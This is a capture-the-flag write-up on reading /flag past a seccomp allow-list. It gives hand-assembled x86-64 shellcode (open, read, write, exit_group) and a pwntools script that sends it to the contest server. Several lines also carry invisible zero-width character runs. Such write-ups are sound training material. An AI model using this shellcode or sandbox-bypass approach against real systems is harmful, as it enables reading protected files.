← Back to Writeups
CUSTOMEasypwn

cat /flag under seccomp

XESXOR9/2/20263 min read
#pwn#custom#easy#allow_list_seccomp_bypass#direct_syscall_chain#stack_string_build#linux

cat /flag under seccomp

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: allow_list_seccomp_bypass, direct_syscall_chain, stack_string_build

Summary

Task: shellcode runner with a libseccomp allow-list limited to read/write/open/close/exit_group that calls the stack buffer directly. Solution: 71-byte hand-assembled shellcode that does open('/flag') -> read -> write(stdout) -> exit_group, all inside the allow list.

cat /flag under seccomp — SPB CTF Pwn Season

Description

Просто. Прочитай. /flag. nc 109.233.56.90 11662

Category: shellcoding, 10 pts Binary: cat.elf — amd64 PIE, no canary, executable stack

English summary: a shellcode runner that installs a narrow seccomp allow-list before handing control to our bytes on the stack. Only open, read, write, close, and exit_group are permitted — execve is blocked.

Analysis

main does the following:

  1. Builds a libseccomp allow-list permitting syscalls:
    • 0 read, 1 write, 2 open, 3 close, 0xe7 (231) exit_group.
  2. read(0, buf[0x400], 0x400) into a stack buffer.
  3. call buf — our shellcode runs directly on the executable stack.
  4. alarm(5) — we have five seconds. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Because execve is not on the allow-list, the "push /bin/sh and syscall" pattern would be killed. However the allow-list is enough to read /flag ourselves: open, read, write, exit.

Solution

The local GNU assembler for amd64 was not available, so the shellcode is written as raw opcodes (71 bytes):

text
mov rax, "/flag\0\0\0"   ; 48 b8 2f 66 6c 61 67 00 00 00
push rax                 ; 50
mov rdi, rsp             ; 48 89 e7
xor rsi, rsi             ; 48 31 f6                 ; O_RDONLY
xor rdx, rdx             ; 48 31 d2
mov eax, 2               ; b8 02 00 00 00           ; SYS_open
syscall                  ; 0f 05                    ; fd -> rax
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

mov rdi, rax             ; 48 89 c7                 ; fd
mov rsi, rsp             ; 48 89 e6
mov edx, 0x200           ; ba 00 02 00 00
xor rax, rax             ; 48 31 c0                 ; SYS_read
syscall                  ; 0f 05                    ; n bytes -> rax

mov rdx, rax             ; 48 89 c2
mov rsi, rsp             ; 48 89 e6
mov edi, 1               ; bf 01 00 00 00           ; stdout
mov eax, 1               ; b8 01 00 00 00           ; SYS_write
syscall                  ; 0f 05

xor rdi, rdi             ; 48 31 ff
mov eax, 231             ; b8 e7 00 00 00           ; SYS_exit_group
syscall                  ; 0f 05

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The whole payload stays inside the seccomp allow-list, so the kernel never kills us.

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

HOST, PORT = '109.233.56.90', 11662

sc  = b'\x48\xb8' + b'/flag\x00\x00\x00'   # mov rax, "/flag\0\0\0"
sc += b'\x50'                               # push rax
sc += b'\x48\x89\xe7'                       # mov rdi, rsp
sc += b'\x48\x31\xf6'                       # xor rsi, rsi
sc += b'\x48\x31\xd2'                       # xor rdx, rdx
sc += b'\xb8\x02\x00\x00\x00'               # mov eax, 2    (open)
sc += b'\x0f\x05'                           # syscall
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sc += b'\x48\x89\xc7'                       # mov rdi, rax  (fd)
sc += b'\x48\x89\xe6'                       # mov rsi, rsp
sc += b'\xba\x00\x02\x00\x00'               # mov edx, 0x200
sc += b'\x48\x31\xc0'                       # xor rax, rax  (read)
sc += b'\x0f\x05'                           # syscall

sc += b'\x48\x89\xc2'                       # mov rdx, rax
sc += b'\x48\x89\xe6'                       # mov rsi, rsp
sc += b'\xbf\x01\x00\x00\x00'               # mov edi, 1
sc += b'\xb8\x01\x00\x00\x00'               # mov eax, 1    (write)
sc += b'\x0f\x05'                           # syscall
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sc += b'\x48\x31\xff'                       # xor rdi, rdi
sc += b'\xb8\xe7\x00\x00\x00'               # mov eax, 231  (exit_group)
sc += b'\x0f\x05'                           # syscall

p = remote(HOST, PORT)
p.send(sc)
print(p.recvall(timeout=5).decode(errors='replace'))

Remote output:

Shellcode: spbctf{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍